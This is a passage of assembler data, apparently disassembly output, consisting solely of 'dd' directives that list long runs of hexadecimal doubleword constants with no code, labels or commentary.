46115B0h, 0D3C6A475h, 0C228B4B7h, 0B8BF3Ah dd 44548238h, 8E743Ch, 115D072h, 0E09DE23Ah, 3F9BCE07h dd 46321A20h, 25444488h, 5C98E34Ah, 765ACEB7h, 93A66820h dd 0F7F60762h, 0F02F34DCh, 7EE5DBE0h, 4AC94101h, 8845B357h dd 0E800543Dh, 6AE53B80h, 0FB007DE4h, 75DCD559h, 9156E349h dd 0A268405Ch, 0C53AE11Dh, 5C0880AEh, 0F78CE417h, 79022445h dd 85F13ECh, 0B7804C60h, 0C4986FE4h, 5DF70068h, 42FAEC14h dd 0A8B4DA37h, 928FB480h, 1B243EDh, 892B6A7Bh, 74EB47EFh dd 8A00D108h, 6E761445h, 0E6B191h, 9E8B97F8h, 2D51CA03h dd 946F5F24h, 4763C503h, 0DA36B84Bh, 1061C041h, 23E214C7h dd 0F93B3A00h, 0AA54CBC1h, 4A0A1262h, 0C1D024F0h, 1561C6C4h dd 80451C48h, 3B9BCA51h, 5024A13h, 7CE5FB01h, 0AFAAE061h dd 0FA4829D0h, 0B64D0298h, 547886BCh, 0F0463A02h, 649FC207h dd 7BF7610h, 0AEF3ACE7h, 1F4DA040h, 5449B7Dh, 716E000Ch dd 0A5BB2487h, 0A4B9AB45h, 19E44A09h, 0A1D9FE80h, 18482091h dd 0B6897CB8h, 5DC400BAh, 0AA5C462Eh, 65FACF9Ah, 3C621900h dd 2032D8D5h, 317260B8h, 0B4DE4B0Fh, 8639CD01h, 0F3710192h dd 0CF8DC8h, 52E150D5h, 95B226B6h, 8791410Bh, 0B4541805h dd 16B2B8D3h, 4AA9F6h, 0B8CA2710h, 0F4A42B49h, 25B34827h dd 88083934h, 3A8F8020h, 33A32443h, 6B83471h, 0AD836B02h dd 0D2BE70E9h, 0C5A70018h, 4B194F6Ch, 700FC28h, 0D6DA6A93h dd 0A446D942h, 110500C0h, 0EBAAE229h, 0CE070882h, 0EAF12B72h dd 0E590F8A0h, 0D142003Ah, 0C18D09ACh, 8C7A1DBh, 918038F4h dd 67DA692Fh, 40DD5145h, 0CBE01568h, 86B15600h, 97A8314Fh dd 0DAB5121Ah, 0BA5442EAh, 0D2606D6Ah, 0E40064AEh, 530F57B9h dd 32240Ah, 0BCFCF981h, 48F3C268h, 3959E632h, 73471B5h dd 0D0393FA9h, 1343D55Bh, 0ADBA2900h, 0BBD8B699h, 67272AB4h dd 8B9A00D8h, 0A4EDD7A5h, 0E2008F40h, 6E6B817Eh, 5E228905h dd 0EBE84047h, 0DEB02C03h, 10372125h, 1F08FE4h, 0F71B3C94h dd 0D4DF4B3Fh, 0D300ECE6h, 63FBD012h, 5EB50989h, 0C60420ADh dd 0A4482234h, 23430095h, 0CB31D273h, 33860964h, 3CE0E0E2h dd 30182FF2h, 0A9989253h, 20BC5BE8h, 8A2867B4h, 0F9726200h dd 0B0AE3051h, 43F8E8h, 37C9DEDCh, 0B3B6B236h, 1AEF0E04h dd 18CC4B11h, 6A3300C8h, 37AEC004h, 0D3260603h, 0E1070035h dd 0D6805292h, 0F8EB49Dh, 44FA7622h, 0AC578700h, 0C024FB03h dd 52005008h, 703555FCh, 16BC91C1h, 341809CDh, 80C24086h dd 8B2D060Fh, 0B00097F6h, 0D8421DF0h, 0D6F501E4h, 0E149740Fh dd 0C4998258h, 805EC643h, 99700980h, 7F5612EBh, 0A7FC23BCh dd 82D6D98h, 0C06FD905h, 0AC40314Bh, 0CDEE1BDBh, 7F233178h dd 0FB073AA0h, 0F81E41F8h, 1CE82900h, 2E45EEB3h, 5EF212B6h dd 26D4D09Bh, 8C1A49A2h, 7781E02Ch, 0C06167E2h, 71FBCC0Ah dd 0F0005271h, 97B41B8Eh, 4C61592h, 4EC0901Eh, 889780B3h dd 683057CFh, 0DDB58130h, 38644926h, 4A7B5800h, 40C853E1h dd 0D216B00Bh, 6D48904Ch, 58C3F663h, 872D5637h, 204A8420h dd 0C507CD86h, 0FB31D39h, 3CB840F9h, 5C855F46h, 0ABAA8004h dd 0B45E1DB6h, 69886601h, 651E63F0h, 3DD097h, 0CB1659D4h dd 39093C0Ah, 44D3528Fh, 1D4300B0h, 6FC9C5D5h, 1002BE05h dd 4AB74FF1h, 4471C1h, 0CFE3B17Fh, 193AD9FEh, 9EF81245h dd 0B90E4C20h, 0C6673B70h, 176A3C00h, 9728BF47h, 9FD08002h dd 50C036F3h, 0DD6C1380h, 39CCC866h, 4E429C1Eh, 2263C101h dd 0CBC1948Dh, 0DC4C20h, 3BB6B0B3h, 47CE6E15h, 9EC27D12h dd 0D519CD0h, 0CC06032Dh, 8178DAF9h, 0D2E8B8C0h, 0BDEB9600h dd 4AD5CE94h, 8024B9D6h, 7E17E93Dh, 3C39F231h, 9C518085h dd 0A3F97360h, 0BA703936h, 78061EAh, 0A4018F8Dh, 4E0CC8DAh dd 5A1BB01Fh, 0E2906580h, 0F65B8838h, 0CB202757h, 918F58A0h dd 7E005A37h, 55E18FCh, 0C8402C33h, 0B68A0860h, 8209B63Fh dd 599Dh, 849870FDh, 9E009149h, 0E364C120h, 24802A4Eh dd 687817h, 0D05FC825h, 99007F27h, 21E23FE0h, 2C6CA07h dd 6848D3AAh, 0A0796431h, 0E9F64407h, 0C0AA4B20h, 0F01A0A1Eh dd 8F3C377Ch, 7A009D91h, 0B3AE9AA2h, 31305F00h, 0C36BE035h dd 490A8075h, 0AECD6000h, 1217B45Ch, 0B6452DDBh, 9F218490h dd 83805C94h, 92DF1276h, 727C51h, 79B599AAh, 0CDEAEED5h dd 0F965A601h, 45E05C26h, 2502A040h, 0AF3C3AC2h, 60212B00h dd 1EB34FC5h, 0EDAED100h, 0FE1320A3h, 9B7B27A7h, 451820A0h dd 859866E8h, 754B2500h, 0F1917031h, 47E34F48h, 97DCD220h dd 497B41B1h, 253C72F9h, 4FE4A09Dh, 5E9FAD4h, 0C777888Ah dd 78B10265h, 4C5487C6h, 0BDFE1604h, 7A811CA8h, 3050F37Fh dd 0F524664Fh, 5B4A3426h, 2CAE901Fh, 84D11000h, 3C81C0Ah dd 4057F7F8h, 811644DAh, 1700BE1Fh, 0F05B64B7h, 6F25019Ch dd 9E40D1D7h, 3032F189h, 8301673Ch, 0D62231AFh, 0DBCC7E10h dd 561404C3h, 0C14E21C9h, 0FCB5F214h, 72020DB4h, 1C83A6D7h dd 581C704Ah, 2AC09853h, 0EA364963h, 80CAF73Eh, 0CD72288Bh dd 3AF158BCh, 7A0B1A3Eh, 2464891Fh, 39198400h, 7EF811BCh dd 88C53D8Ch, 6F0AA880h, 40561F58h, 0E2749200h, 244204ECh dd 0DD3F00F8h, 23CD6214h, 5B01725Dh, 0F1879705h, 10874352h dd 0C7D63E27h, 0B1EDE066h, 0CC0099E7h, 71409894h, 73C0E295h dd 7C25FA14h, 3C5C069Ch, 51EBC962h, 0CE240702h, 29505159h dd 0C26FD480h, 0BD008B0Ah, 621B8AD0h, 812279h, 1333F73Ch dd 65A2D691h, 0EE5D30C0h, 3FA97866h, 0E60ED08Bh, 260B4B0h dd 50D6DEF6h, 2835CF30h, 6C11972h, 0BFD75198h, 0AE767146h dd 9E005970h, 4D1D4BC9h, 6024135h, 0CFC7ED10h, 0DF44B0BBh dd 79C330E8h, 537BD79h, 80DC983Ah, 0B7F82F5Ch, 0E2514FC1h dd 14C950E8h, 5490242h, 52951D9Ch, 0CF167480h, 0DC00B8A0h dd 0A3AF0CC3h, 0E9AA89h, 0A142CE84h, 0F329EBD1h, 7D9F79C7h dd 0BC6FE04Fh, 0F3998ADh, 38635CDCh, 2E1A2780h, 4B189F9Ch dd 23614159h, 37BC00CEh, 523BA3B1h, 18C07BF2h, 12FB8060h dd 0F40C0056h, 9D6FEFAAh, 0B5001F16h, 0BAB8B51h, 7DE8650h dd 57941192h, 8E5A30A6h, 2D40E391h, 96053E1Ah, 31710D80h dd 6A200462h, 411BF82Eh, 0E86C2400h, 3A9F2898h, 2A1E375Ah dd 4BA3C355h, 0A1006072h, 0B0B188CCh, 0FC6756h, 0B8F823DCh dd 4990CA65h, 605FD8A8h, 2992D11Ch, 45FBBE47h, 62CC4D01h dd 0E88A2182h, 0B4A076C2h, 4DB1C7ECh, 0C0A1F3FAh, 0E265137Fh dd 52A4A3DDh, 44810047h dd 0B67C6255h, 77037F50h, 7115F182h, 4CB5DA84h, 643F878h dd 0BA3398F7h, 0B91C19EAh, 93C7A53Dh, 64619A66h, 90F3D34Dh dd 905FAC2Eh, 2BF8386Ch, 0A0150194h, 0C8E83E09h, 8DB41801h dd 0B342007h, 0D483A7Ah, 6286008Ch, 0ED969F1Ch, 0FA710D95h dd 0D0E94B90h, 3B0FC599h, 6E86229Dh, 9516B72Dh, 0EADF5000h dd 0F0BAAB1h, 138DA1BCh, 0BDC69722h, 4DAF6040h, 492FF930h dd 8D5C95h, 631A20F8h, 0C905A574h, 0F6299A18h, 3A41D9h dd 0E5DF8746h, 0F7C3EB94h, 6998200h, 1C630BE6h, 8EE7091Ah dd 2820C7E8h, 228AA95Dh, 1F35500Eh, 65F386CBh, 0F7BA3071h dd 9380AB59h, 0F90216FEh, 778303Ah, 85CE81A6h, 0CC4CC919h dd 1DEA00E2h, 0A7EB3DEFh, 93302444h, 0CFF8514Dh, 0B2C40058h dd 896A4A39h, 590DABE5h, 414CBF4Bh, 1D7B99E8h, 0C01308D2h dd 0DA3C9A11h, 1B50AAB6h, 120181B4h, 91DF0538h, 6AD06668h dd 2E8E0FF6h, 0FFC71Bh, 7D2DE990h, 5A1DA116h, 0A6C1A889h dd 0A74BA0DBh, 1F00B026h, 0B299DE34h, 22F14D2Fh, 5B4C144Ch dd 70A21548h, 82CF4094h, 78079198h, 94D63C5Ah, 0A29DAD92h dd 1862F3D4h, 1B00ED85h, 22F8D8CCh, 7C5F878Bh, 3E8C7854h dd 78638C2h, 694452DDh, 0BA83B302h, 48AD1926h, 187566D8h dd 814DCCE8h, 0C7E220FBh, 5A851600h, 8683EC40h, 2814980Bh dd 7014CBE8h, 95E00012h, 0A05A913Ch, 86044F99h, 0DCDB6204h dd 0A0DF84C8h, 0B1EC18h, 0FFC280D7h, 0A9C39C6Eh, 0F164D11Fh dd 0DD9BD0C2h, 93B8801Fh, 1BE2F15h, 0A9E217A6h, 20010233h dd 3A7C0884h, 8060902Ah, 1EB6EF00h, 152D8750h, 0F20F0064h dd 1929B5Ah, 0D4265F1Dh, 200018F5h, 0BA1B4DEDh, 5A99C0E9h dd 2738569Dh, 3DA83900h, 69A2F91Eh, 64CB0018h, 0BEE0C181h dd 0B303BFB1h, 0A6634EB2h, 0ADC90173h, 0FFE3414Ch, 20DBE982h dd 792484ACh, 9D0018EDh, 0A0E8E6BBh, 5A4B2436h, 0FB98E004h dd 0EC0095FAh, 0D96C90DAh, 63C86015h, 0D03220CCh, 651226E0h dd 313ADF00h, 1CC0154Fh, 7AC7018Dh, 0E1990573h, 2660803Ch dd 9318ABE2h, 0CE88A85Fh, 35220385h, 3CECC09Dh, 0C3A88680h dd 0FB4F6F12h, 3D080BAEh, 8550C005h, 26704EDFh, 88807989h dd 4CC9F741h, 0B909D8A6h, 81A0C172h, 827E4354h, 0CF1B9881h dd 4291061Ch, 9CC4F3CCh, 0E008B3F4h, 4052DC80h, 16B625E4h dd 248F6003h, 571A71Ch, 21EAE361h, 6C68207h, 80E362D5h dd 4E105278h, 0B365134Ah, 0DFB02026h, 30E94496h, 30ED0B98h dd 80EFE2CBh, 70A0A721h, 29218D95h, 0CF42905h, 741ECADDh dd 736A9A00h, 4B8CCE25h, 795A01ECh, 0CD4D0359h, 4CC184F7h dd 58D1F3A7h, 0A98E6BA2h, 0CD20B2E0h, 0EC801467h, 5749FC03h dd 0C83BBE8Ch, 6EABC4Ch, 516F8353h, 3044502Fh, 6BE19FFFh dd 4B1DEC19h, 583AD890h, 0C91F477h, 2A018824h, 0D8A2FCE2h dd 0A74E1D6h, 395F040h, 89CCB0ACh, 27D49968h, 0CE790086h dd 0AB3F49B4h, 35280B4Fh, 0D80DDDB7h, 8136F850h, 46AE8800h dd 0BE370542h, 13A3918h, 69E72AF4h, 740AF5E6h, 0C531F764h dd 526AF163h, 31834180h, 858AE9ECh, 2430F700h, 6FE6D990h dd 0C3BD0E81h, 999E3A42h, 0E4683148h, 5F02E274h, 0B4DF8E09h dd 7D84281h, 0B060D428h, 2DFE76h, 0FFD6E20Fh, 0EE855805h dd 4C65CD09h, 0DA549071h, 735A0588h, 0C0911A64h, 8CB5768Ch dd 0FB30ED00h, 0AD3223D2h, 0D4A7526Ah, 0A2CFC601h, 0D07D3748h dd 2F00A11Ah, 0BE42DDE6h, 432F9F0h, 67650FC4h, 0C488CDA4h dd 0E50185EBh, 0CB37D01Fh, 518364A2h, 0C090636Eh, 0E3CF06E0h dd 0B419A91Eh, 0E1941400h, 24A34601h, 26B530A7h, 0C350E68h dd 38A9BE02h, 6D008046h, 0E99549C6h, 0D2374Bh, 0F31712BAh dd 22647251h, 0A8C3A002h, 0C0F8AA8Fh, 5C41A684h, 2D179C48h dd 43061753h, 0CE2AF110h, 10B96825h, 0F2FC10h, 62ABD256h dd 0C20515E9h, 0B7466100h, 0A3C76DEAh, 25BA22F1h, 0B5D27EA0h dd 62A6F60Ah, 2BBECCC8h, 9C00D401h, 0F8F15538h, 0B2480051h dd 0FE21AEE6h, 0C80F85D7h, 0A9A742D6h, 58000A63h, 9C22F000h dd 1EB15Ah, 100AF8DDh, 1A5D92DFh, 42C92516h, 81763008h dd 24B20465h, 0BF58D040h, 5C2CDFB8h, 27101C59h, 802B9885h dd 0F1CEA850h, 0A44B9339h, 390F0423h, 3C818083h, 9818C4D5h dd 0F6B70B68h, 9C8042D4h, 4A52AD90h, 0CD0A90A8h, 0C784FD00h dd 5429D52Bh, 0AC05051Ch, 0C14046BFh, 0CD9495D8h, 0A5D120A2h dd 0A0395E60h, 626130C9h, 10E4B048h, 0A080705Bh, 0F8532FC8h dd 46740409h, 0C00747BCh, 0FDDD99A8h, 0E4C8A30Bh, 21B084BFh dd 980044B2h, 63024B68h, 4500B322h, 1D4F75B6h, 3FD04479h dd 0E09895CCh, 0A2C93890h, 9A7344h, 7386DFBh, 9080BFBBh dd 79984754h, 0C23E6E03h, 0A06FBC12h, 0B80A9D37h, 315A1C64h dd 91395257h, 1168C578h, 41804E93h, 63488E6Ah, 0F402AAD6h dd 8C2B79B8h, 0C9DC82E2h, 1F0C657Dh, 0F0607956h, 0EE68256Eh dd 0A58D5B00h, 0CF538B89h, 0E3A003Ch, 2DF56A41h, 0BCB939A2h dd 2ACBD180h, 0E0CCB514h, 43EE296h, 0B27AF8F4h, 1C149C8Ah dd 83DFAA03h, 0E12C62ACh, 8020D4C8h, 55A73A09h, 0C8DEBA95h dd 526BF900h, 0E14A8448h, 744E03Eh, 4D1C8DE4h, 0B931E6h dd 82983846h, 4B146D87h, 0C7E8200Ah, 66448860h, 48FB7C43h dd 56875EF0h, 7310AE01h, 4FCD3B95h, 2C58FD0h, 0B1DCDD7Ch dd 9FE1CF81h, 62FC304Bh, 775A9588h, 64604836h, 0C8E23E01h dd 2D291B23h, 0DD67070Ch, 97C05E47h, 3AA6AB3h, 165A4591h dd 3988016Ch, 790C3524h, 0A169A7B5h, 6F2A09C1h, 0F6010B0Eh dd 0CC53A0A3h, 0F00FB05Ah, 29838EE5h, 0B8C80129h, 0E0D3572Fh dd 28902E8Fh, 719CDDBDh, 60F7707h, 62BE2C38h, 5B01B1B5h dd 4BA8BF3Ah, 0D4515FA4h, 0A6E1A159h, 0A458E039h, 0CF9F0F06h dd 15FD1880h, 0E28F5032h, 0EF26C17Eh, 0B99363F0h, 1589000Ch dd 946C33E5h, 0B1778476h, 64D3CA00h, 0E236C84Ah, 0CE3D0699h dd 594E520Ch, 82EE3017h, 0DE35BB00h, 362C2EFh, 0C9D18B7Ch dd 0E8096AB2h, 19C6E8BBh, 4C104D50h, 0F1006DF3h, 0E3C3E98Dh dd 73CB4E5h, 0C9058594h, 40346731h, 9E5A3B3Ah, 124BD002h dd 64B662EEh, 0E7E08094h, 37697ABAh, 1594C90h, 709C4454h dd 1E03608Ch, 67E6595Eh, 90C0E5EDh, 324DAC76h, 0A13133CEh dd 0A7995CE0h, 90B99314h, 17E40050h, 6508E1A3h, 0B7FA02D7h dd 229AEEF0h, 8D077059h, 8AD0182Dh, 3C59062Eh, 9000ED3Ah dd 984B74DBh, 0DCB0CE89h, 1776C622h, 0A923F2h, 0AD030C90h dd 2C035EABh, 0CF424393h, 0D488ADBAh, 63A5007Ah, 0A8D4810Dh dd 65C230Fh, 2F210E04h, 2800B1A6h, 0AEC5EC6Ah, 872CA720h dd 2C097873h, 304C4E6h, 891B87Eh, 2AB06515h, 9B00EF23h dd 0CF1452A8h, 0C50993Dh, 43BF22DFh, 0B70924D9h, 87E67B96h dd 0F871CD70h, 2BC8A710h, 4C32E8D7h, 51045CBDh, 82070B61h dd 88C09291h, 1266353h, 80605CBFh, 0C6C835h, 0DC8D8207h dd 0BCAD8B37h, 4AA740C3h, 6646EF59h, 0DBC91DD1h, 0D412C09Bh dd 1A84CB78h, 0C0F5300h, 0BEC45025h, 0A7AE24E3h, 0A95F4068h dd 3FEA1F4Eh, 900A8408h, 6FFC8033h, 86185742h, 0B8FB7A09h dd 0E06C44ACh, 60C53E04h, 2BB53C82h, 460A256h, 0E650C836h dd 6898B8D0h, 7C9CB3E4h, 30C83592h, 0B64F00B4h, 78775A33h dd 3B09A126h, 0A4D889A7h dd 934465C8h, 0DB324049h, 77E10FF2h, 0BC76246Dh, 492003Ch dd 0AF62BFC7h, 2D439494h, 409DDAF7h, 0A32C1858h, 39510394h dd 0B3BA7447h, 85DF69E7h, 1040028Ch, 4C677696h, 54260317h dd 393FCEBEh, 976C8CA4h, 208AC00h, 521B20BFh, 63923E25h dd 0E0017B2Dh, 3DC1E8F4h, 0EC1B2E08h, 8BDD980Fh, 19ED805Ch dd 41A755h, 0D3560CA3h, 45E085B1h, 4B2A583Eh, 0FFF54C40h dd 0FA412BCBh, 96DA03D0h, 62A5D87Eh, 6AFE211Eh, 0E39480B9h dd 0F12EE5F8h, 0A4CF0786h, 744D4F53h, 3AF8A234h, 5CC0405Eh dd 0EB012632h, 5022C701h, 15FC22CCh, 0A0F2BAh, 557E3BD2h dd 39A204EEh, 4DA2F771h, 3A0BC577h, 258B536h, 0C42922E4h dd 4B620050h, 3720EBACh, 7600917Eh, 0F73F1653h, 25C721A0h dd 6425A5D7h, 9246C0F6h, 37E0D42Ah, 0A9190607h, 0CD1264CEh dd 9244469Eh, 94AF01B4h, 29A3F3D8h, 0C37180E8h, 81D31351h dd 0B54F00E9h, 0DA9C9691h, 0ED0035D6h, 1243D41Ch, 3E31BFE2h dd 39E2CC62h, 0A8E0BACBh, 0E654889Fh, 44074128h, 2489E7D8h dd 6ED33751h, 0E1C52330h, 0DF80C468h, 511B169Ah, 0E4C91D00h dd 0F64D2AD1h, 0C1068830h, 0C05CB85Ch, 0FA51BA11h, 0E66807D5h dd 0A0A853A1h, 0F92C655Eh, 0DC2A163Fh, 9DBD80E4h, 7122C2A7h dd 0EF12002Eh, 5733C6D4h, 0DEFEC81Bh, 3A880C00h, 53AF0FDFh dd 3B4A2ED0h, 13A70FD4h, 0F5CC4D84h, 4866F21Ch, 0DEA7FE00h dd 1C12E925h, 730BB06Ch, 0BDB12EA8h, 25C1FC4h, 79DFE839h dd 0F1BA9E21h, 55238C50h, 0AE0A39FDh, 0BED1049Ch, 79D34302h dd 68E1C5F8h, 0C0A838C3h, 290459A8h, 0C241C0F4h, 0F88B98E4h dd 347D6D00h, 83367C85h, 9F020EAFh, 9C05814Eh, 4D380029h dd 0FFFD7ED4h, 7554EF0Bh, 20908F10h, 0B1A0847Fh, 95576C9h dd 0E54D0887h, 8C0004C4h, 989439DFh, 963B699Ah, 9364020h dd 0D400ECA1h, 0F07E3396h, 182FE81h, 0A6866098h, 0D8181566h dd 85041CD1h, 0DB62563Ah, 2EE828C8h, 111C0AA0h, 78A5284Fh dd 0C604E47Ah, 5A4BEF0Fh, 19BCB488h, 41F0B162h, 0F3883035h dd 0A1CF9304h, 0BA5FDD29h, 0F07CB683h, 61C1421Bh, 6446FCB3h dd 614EA630h, 70B5A0h, 0B1B42F3Bh, 0A8CC8F58h, 0B70B4D7Dh dd 90905A2Dh, 9E6FE8h, 6A064E0Bh, 1B65699Bh, 5AED2500h dd 1E7519CEh, 153806C7h, 0A9485242h, 3200657Ch, 1B43DC07h dd 0B0BE60DAh, 189013BCh, 50DC2729h, 0B4916FA3h, 7E812824h dd 80EC8B0Eh, 942FFBBAh, 0E036505Ch, 7FAA88DBh, 0EAF1D200h dd 30B13C28h, 4B6A0C6Eh, 5079495Ch, 1035FB25h, 51A8D24h dd 0BDBE07A0h, 0AC0EF8Ah, 3ADE3A20h, 27C5296h, 0D393C5Eh dd 5C629107h, 0C8054071h, 8088A220h, 1F3D07A0h, 0E07FCB93h dd 5C3E8CDEh, 0B49AE90Fh, 1A28C7BCh, 5797DFD0h, 1F02175Eh dd 46E0C8A1h, 3DF1ED3Bh, 5C84D014h, 873E1498h, 0DC5306h dd 97FBA4FAh, 3570F5Eh, 0D3528E9h, 62C1179Fh, 1E83DB5h dd 83DD7FE2h, 9C79BBF1h, 7E097538h, 0A448F24Dh, 0B052F03h dd 0A6079151h, 3BE5B088h, 1501F94Ah, 3C29C201h, 801C282Dh dd 78FEFB2Ah, 0A6E600A1h, 0CB8D8628h, 24009F64h, 0BEBCD15Ah dd 0C3BF9303h, 8A34B9C0h, 651670A7h, 0A74B617Ah, 45129040h dd 1F471Ah, 0BFF028BCh, 8C8E526Eh, 2032DE00h, 0BE82C783h dd 0B9898A8h, 0FAF8EFF5h, 0D9E2EE03h, 0BD29E900h, 228A1C18h dd 32E8FAFFh, 93617ACBh, 0BC034864h, 864A9934h, 73A19044h dd 79BD0024h, 62E72B31h, 9D07FA1Ch, 5A7364Eh, 8CA3DA85h dd 0CF6B2807h, 0F001A9C7h, 30E2F2D6h, 5A679020h, 0D0000A61h dd 28FE8D6Ah, 5E0D65Ch, 0BFC8AB54h, 8024CCB9h, 0A8252E00h dd 4A968B84h, 48C0B853h, 91C0783Fh, 7B03AB12h, 344AEB00h dd 961FDF5Ah, 0A23D3FCEh, 0A042DBCh, 0B064A709h, 0DD884128h dd 0E8E63A30h, 0B1B8215Fh, 4DBF11F6h, 13B9E117h, 926AF04Eh dd 1FEE471Eh, 0D1017941h, 24702C9Fh, 4484B812h, 1700EC4Fh dd 1C356BB2h, 748C9C5Ah, 580BE694h, 0F82E00E3h, 33C90A88h dd 77620990h, 0B22FCC04h, 0A52100F8h, 0B89701B6h, 0ECFE7Fh dd 0C5E03669h, 38F20FBDh, 9830031Ch, 4B7250Bh, 0E845ED98h dd 689CA5BEh, 8DB180C4h, 99E491h, 0E5ADE17Ch, 38F3D22Ah dd 0AE267009h, 909C8540h, 3C3E44C8h, 338045EEh, 7F4610E1h dd 35072438h, 0CE23DCE2h, 0CC5169h, 75C0BB95h, 9001CF0h dd 3C7E1B81h, 908ED4h, 60B2D84Bh, 93532E49h, 0B7616162h dd 8D5EE00Eh, 0BA4C0036h, 24156DC0h, 0C31499ECh, 1394ACF2h dd 3400594Bh, 434908F8h, 9C9B5073h, 891650Eh, 0A5AC008Bh dd 895CE550h, 44CD6224h, 4DF86AC0h, 28E2616Fh, 83C2293Dh dd 0BAA56B18h, 19FD093h, 0A1812070h, 0E187310Fh, 0CBA0C0B9h dd 174212BBh, 0C0182294h, 2BE523B0h, 71D03748h, 0D173C575h dd 28B0C97Ah, 0A04344h, 0BF2D8CEFh, 0DF07B9CEh, 91002079h dd 0AFB1BEA4h, 291229DCh, 82B8BF0Eh, 73D2AAC0h, 96DA9060h dd 4836E709h, 318C00C3h, 127A43F8h, 9A9A0B1h, 10808080h dd 0C77E79D4h, 182820EBh, 4C448700h, 8F6F95E2h, 6780A04Bh dd 2B4CB3h, 63D88005h, 0CE80C1A6h, 0A34C1149h, 5A82FC6Dh dd 34E05739h, 242CFB36h, 230188C3h, 28F1147Dh, 719A443h dd 0C7ED9E98h, 925EE1D7h, 0BAF8D0DBh, 62B2F200h, 5A539F04h dd 0DAA75C21h, 3D2CC040h, 0A6039E33h, 0B409D397h, 0AD72802h dd 0C45E4B15h, 4078B4C8h, 87351B60h, 0B8AAEC00h, 0A9F9402h dd 503360B4h, 53811A7h, 90DF9803h, 0E8410FCFh, 18AFFDAh dd 0B12E5A37h, 0FEFACCE6h, 0D4733C44h, 0CAE70607h, 74B097BCh dd 111D764h, 33F5604Ah, 68C7E81Ch, 4A0A048h, 0F63002Fh dd 9CE5FED1h, 7E258F37h, 0A62C48BAh, 2B201EE9h, 0B37947A1h dd 0A248341Ah, 0D3310058h, 926EB428h, 3E9D01A7h, 6786E185h dd 9C8440FCh, 0BCA10393h, 80543C54h, 2CAC4732h, 44309802h dd 0F004FB4Dh, 0A618D431h, 1AF840C0h, 0BD6E1463h, 6F0738BAh dd 0D0A57317h, 0A875DC37h, 13FD3F00h, 0C71FC84Ah, 0A1BD259Ah dd 661F4044h, 32CEB735h, 0EBEC4074h, 0F10CF06h, 0CDB469D0h dd 9D41BC60h, 0DF0AC5DAh, 0D849523Ch, 11A57880h, 46A9ED0h dd 0BBEA2EE4h, 4C5C414h, 4060A3ECh, 0CE45C66Dh, 182001DAh dd 0DB6778E6h, 58072AB3h, 802E3DD5h, 9D2873B4h, 60BE4C91h dd 6708ECC0h, 4B730112h, 509C7600h, 99D6A34Eh, 828FAB1h dd 0B36293EDh, 4D2F5B80h, 9C3A0935h, 24E94084h, 0B802C5A2h dd 830334Ah, 397C61EBh, 0C1844Ch, 777BA681h, 3BC44A4Eh dd 0EF284800h, 0F69A079Ch, 626B13D0h, 8F3420B6h, 0B11D2ACEh dd 0A45B227h, 748CCAE0h, 47FD00D0h, 7C456E01h, 400B1D76h dd 0C4A4343Ch, 22C80008h, 3BACA7DFh, 5C002838h, 0BDCF9784h dd 0FB5F1AFBh, 0FA003029h, 42B72EB5h, 0A099AC2h, 63230343h dd 469F9890h, 9DA80FC8h, 4861E2D7h, 38ADC7ECh, 5FD580E4h dd 4949699h, 63DC2A9Bh, 52FCA4B0h, 0A7A088B6h, 4B54AD00h dd 1DC3758Ah, 6D5601D5h, 738EF6Fh, 0E4708453h, 0C4D70D23h dd 0C6A64B52h, 619A05ACh, 9177885Ch, 0D003427Ch, 4A137A3Ch dd 7C33FDA1h, 0F930806Ah, 24530518h, 0C4778B43h, 3D88C360h dd 93BDE2A8h, 308C20FFh, 0CF263CB8h, 80388055h, 0EB28B79h dd 19D329DFh, 28A28CF4h, 0F1D0429Fh, 0FB4D0721h, 0A517E072h dd 0B7B4502Ch, 0E2014C48h dd 0A74BCF7Bh, 506864F1h, 2049F94Fh, 960C6913h, 98C94F0h dd 37CCF8D1h, 91065458h, 0F9F04D6Ch, 0F3BA2231h, 0A21DAC00h dd 0C9876ECDh, 70A0007Ch, 193C1A21h, 1409E6E5h, 0E6BAFFEBh dd 0EC5A0440h, 0BC08E302h, 2B988FD8h, 0AF8280B4h, 1E4EA099h dd 0C2B3B9DAh, 29BA454Fh, 23888C1h, 472F0183h, 80A0BDCDh dd 3ADE6119h, 50C82ADDh, 284DE036h, 44584BCAh, 800F7F1h dd 1884C360h, 130217B4h, 0A091806Bh, 0D5252C08h, 1674C45Eh dd 0E8E3E41Fh, 649C0070h, 84F3A6FBh, 40460202h, 0BF6386F5h dd 9C00E4E6h, 0EF03571Dh, 0CD844D2h, 8B98E834h, 6E16DFB8h dd 4004D611h, 0D9818C58h, 86605534h, 3B20C242h, 4D98876h dd 33B3FC00h, 4CB69DA1h, 0FD8044BFh, 45D1891Fh, 1BC1AB00h dd 2DCB9486h, 441849BDh, 2937D17h, 0BF87772Ch, 0E0006CDAh dd 4C62043Bh, 4A81346h, 0F7591551h, 594E2DAh, 0A9AD761Bh dd 0C550F482h, 934D0054h, 517ADE7Ch, 1FB66C38h, 67C96F11h dd 2130843Dh, 86CCCCh, 766291DAh, 53DCD9C9h, 7B057FF8h dd 1360E4F3h, 0F52888h, 0BA37D355h, 0FA98C2A8h, 18B63E00h dd 0C3B9B051h, 4E1BEE01h, 0AEF0D129h, 3132ECEFh, 94801C01h dd 910C1D98h, 54021C61h, 44C6493h, 9E7B0F2Dh, 0CE1FC034h dd 0AB0B8D42h, 8BF56A3Bh, 0A6ACC88Dh, 8BFE00DBh, 9F3A955Eh dd 0F203B516h, 832688B0h, 31C8F868h, 948B8A3h, 0C51BD76Ah dd 0A73EC050h, 59F8189h, 2FFBCD9Ch, 54E84871h, 23B15BB8h dd 0C2905ED8h, 2809DAE3h, 81A5A70Ch, 0DEE8AC95h, 3538AE82h dd 0A481FE62h, 10F22975h, 1CCFDE6h, 0F6927C8h, 2BBEF758h dd 0DCB34C25h, 94CF1A00h, 51DEB238h, 1560C003h, 0E09B0C12h dd 67A65E20h, 71A03967h, 0EB9D119Fh, 0E859F3C0h, 0CE075C1Ch dd 3DC92F84h, 33177CF2h, 0DFE300CCh, 7E1BAE74h, 2983DE00h dd 365993Ah, 20015B88h, 9868F444h, 168DF201h, 751EFF0Fh dd 161DBEECh, 22E44D3Ah, 5C72BA74h, 7E00EFF6h, 80DED60h dd 265A079Dh, 277D09CCh, 2A8F2410h, 0FDE8F31Ch, 5AD34BC0h dd 201AC5h, 53F1D0F8h, 58ACC4E9h, 3500A17Dh, 0FC23FB2Dh dd 48B1C712h, 9F800CA6h, 61F5B23Ah, 0A5D44600h, 0BCE62232h dd 0E5C71EB0h, 0B3F1D2B8h, 95C200F0h, 3EF865DDh, 823A1FB5h dd 0FB0F80D0h, 0B26B191Eh, 28512A2Ch, 0EC550C40h, 